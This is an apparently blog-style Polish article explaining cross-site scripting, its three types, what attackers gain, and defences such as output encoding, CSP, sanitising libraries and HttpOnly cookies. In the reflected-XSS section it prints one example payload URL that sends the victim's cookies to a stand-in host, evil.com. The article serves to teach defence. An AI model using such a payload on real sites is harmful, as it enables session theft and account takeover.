XSS (Cross-Site Scripting) to jedna z najczęstszych podatności aplikacji webowych, umożliwiająca wstrzyknięcie złośliwego kodu JavaScript do strony internetowej, który następnie wykonuje się w przeglądarce innych użytkowników. Rezultat: kradzież ciasteczek sesji, przejęcie konta, podsłuch klawiszy, przekierowanie na fałszywą stronę. Według raportu IBM z 2024 roku średni koszt incydentu bezpieczeństwa spowodowanego przez XSS to 4,9 miliona dolarów. XSS od lat niezmiennie figuruje na liście OWASP Top 10 — zestawie dziesięciu najgroźniejszych podatności aplikacji webowych.
Co to jest XSS — definicja
Cross-Site Scripting (XSS) to podatność, która powstaje gdy aplikacja webowa przyjmuje dane od użytkownika i wyświetla je na stronie bez odpowiedniego filtrowania. Atakujący wstrzykuje fragment kodu JavaScript, który przeglądarka ofiary traktuje jako normalny skrypt strony — i wykonuje go z uprawnieniami tej strony.
Paradoks nazwy: XSS opisuje atak na użytkowników, nie na serwer. Serwer jest jedynie pośrednikiem — atakujący używa go do dostarczenia złośliwego kodu do przeglądarki kolejnych odwiedzających.
Trzy typy ataku XSS
1. Reflected XSS (odbity)
Złośliwy kod jest wstrzyknięty przez parametr URL lub formularz i natychmiast „odbijany” przez serwer w odpowiedzi — bez zapisywania w bazie danych. Ofiara musi kliknąć specjalnie spreparowany link.
Przykład: strona wyświetla komunikat błędu 404 — Nie znaleziono: [INPUT], gdzie [INPUT] to fragment URL. Atakujący tworzy link: https://sklep.pl/search?q=<script>fetch('evil.com?c='+document.cookie)</script> i wysyła go ofierze. Ofiara klika, przeglądarka wykonuje skrypt i przesyła ciasteczka na serwer atakującego.
Reflected XSS jest jednorazowy — działa tylko przy kliknięciu konkretnego linku.
2. Stored XSS (trwały)
Złośliwy kod zostaje zapisany w bazie danych (np. jako komentarz, nick, wiadomość, opis produktu) i jest wyświetlany wszystkim kolejnym użytkownikom, którzy odwiedzą daną stronę — bez żadnej interakcji atakującego po fakcie zapisania.
Stored XSS jest najgroźniejszy: jeden wstrzyknięty skrypt może dotknąć tysięcy użytkowników. Klasyczny przykład to sekcja komentarzy na forum bez walidacji danych wejściowych.
3. DOM-based XSS
Atak odbywa się wyłącznie w przeglądarce ofiary — złośliwy kod nigdy nie trafia na serwer. Aplikacja JavaScript po stronie klienta odczytuje dane z URL (np. window.location.hash) i wstrzykuje je bezpośrednio do DOM bez sanityzacji.
Szczególnie ryzykowny w frameworkach SPA (React, Angular, Vue), gdzie dynamiczne renderowanie treści może prowadzić do niezamierzonego wykonania kodu, jeśli deweloper użyje niebezpiecznych metod jak innerHTML lub dangerouslySetInnerHTML.
Co atakujący może zrobić przez XSS
- Kradzież ciasteczka sesji —
document.cookiedaje dostęp do tokenu sesji. Atakujący przesyła go na swój serwer i loguje się na konto ofiary. - Keylogger — skrypt rejestruje każde naciśnięcie klawisza i wysyła je do atakującego — hasła, numery kart, dane osobowe.
- Phishing w kontekście zaufanej strony — XSS może podmienić formularz logowania na stronie banku na fałszywy, który przesyła dane do atakującego.
- Defacement — zmiana treści strony widocznej dla użytkowników (zniszczenie reputacji).
- Atak CSRF z pomocą XSS — wykonanie żądań HTTP w imieniu ofiary (zmiana hasła, przelew, usunięcie konta).
Jak zapobiegać atakom XSS
Kodowanie wyjścia (output encoding)
Każdy dynamiczny element wyświetlany na stronie musi przejść przez kodowanie HTML — znaki specjalne (<, >, &, ") zamieniane są na encje HTML (<, > itd.). Nowoczesne frameworki (React JSX, Django templates, Twig) robią to domyślnie.
Content Security Policy (CSP)
Nagłówek HTTP, który instruuje przeglądarkę, jakie źródła JavaScript są dozwolone. Odpowiednio skonfigurowane CSP blokuje wykonanie wstrzykniętych skryptów nawet jeśli podatność XSS istnieje. Przykład: Content-Security-Policy: script-src 'self' — tylko skrypty z własnej domeny.
Sanityzacja wejścia
Filtrowanie danych wejściowych od użytkownika — usuwanie lub ucieczka niedozwolonych tagów HTML. Do sanityzacji HTML używaj sprawdzonych bibliotek: DOMPurify (JavaScript), bleach (Python), htmlspecialchars (PHP).
Flagi HTTPOnly i Secure na ciasteczkach
Ciasteczka sesji z flagą HttpOnly nie są dostępne przez JavaScript (document.cookie). Nawet jeśli atak XSS nastąpi, skrypt nie odczyta ciasteczka sesji.
Źródła:
- pentestica.pl — Co to jest Cross-Site Scripting XSS?
- cyrekdigital.com — Cross-site scripting — co to jest i jak się zabezpieczyć?
- PortSwigger Web Security Academy — What is cross-site scripting?
Najczęściej zadawane pytania o XSS
Dlaczego XSS jest niebezpieczny skoro atakuje przeglądarkę, nie serwer?
Bo przeglądarka ofiary wykonuje skrypt z uprawnieniami danej strony — ma dostęp do jej ciasteczek, może wysyłać żądania HTTP w imieniu zalogowanego użytkownika i czytać DOM. Atakujący może przejąć konto, wykraść dane logowania lub wykonać operacje (przelew, zmiana hasła) bez wiedzy użytkownika.
Który typ XSS jest najgroźniejszy?
Stored XSS — bo złośliwy kod jest zapisany w bazie danych i wykonuje się dla każdego odwiedzającego daną stronę, bez żadnej interakcji atakującego. Jeden wstrzyknięty skrypt może dotknąć tysiące użytkowników. Reflected XSS wymaga kliknięcia w link przez każdą ofiarę z osobna.
Czy React lub Angular chronią przed XSS?
Domyślnie — tak. React automatycznie koduje wszystkie wartości wstrzykiwane do JSX. Angular ma wbudowany DomSanitizer. Ale ochrona jest wyłączona gdy deweloper użyje dangerouslySetInnerHTML (React) lub bypassSecurityTrustHtml (Angular) — te metody muszą być używane tylko z oczyszczonymi danymi.
Co to jest Content Security Policy (CSP)?
CSP to nagłówek HTTP nakazujący przeglądarce, z jakich źródeł może ładować JavaScript, CSS i inne zasoby. Dobrze skonfigurowane CSP (np. script-src 'self') blokuje wykonanie wstrzykniętego kodu, nawet jeśli podatność XSS istnieje. CSP to „siatka bezpieczeństwa” — działa nawet gdy sanityzacja zawiedzie.
Jak flaga HttpOnly na ciasteczkach chroni przed XSS?
Ciasteczko z flagą HttpOnly nie jest dostępne przez JavaScript — document.cookie go nie zwraca. Nawet jeśli atak XSS nastąpi i złośliwy skrypt się wykona, nie odczyta tokenu sesji. To nie eliminuje XSS, ale poważnie ogranicza jego skutki.
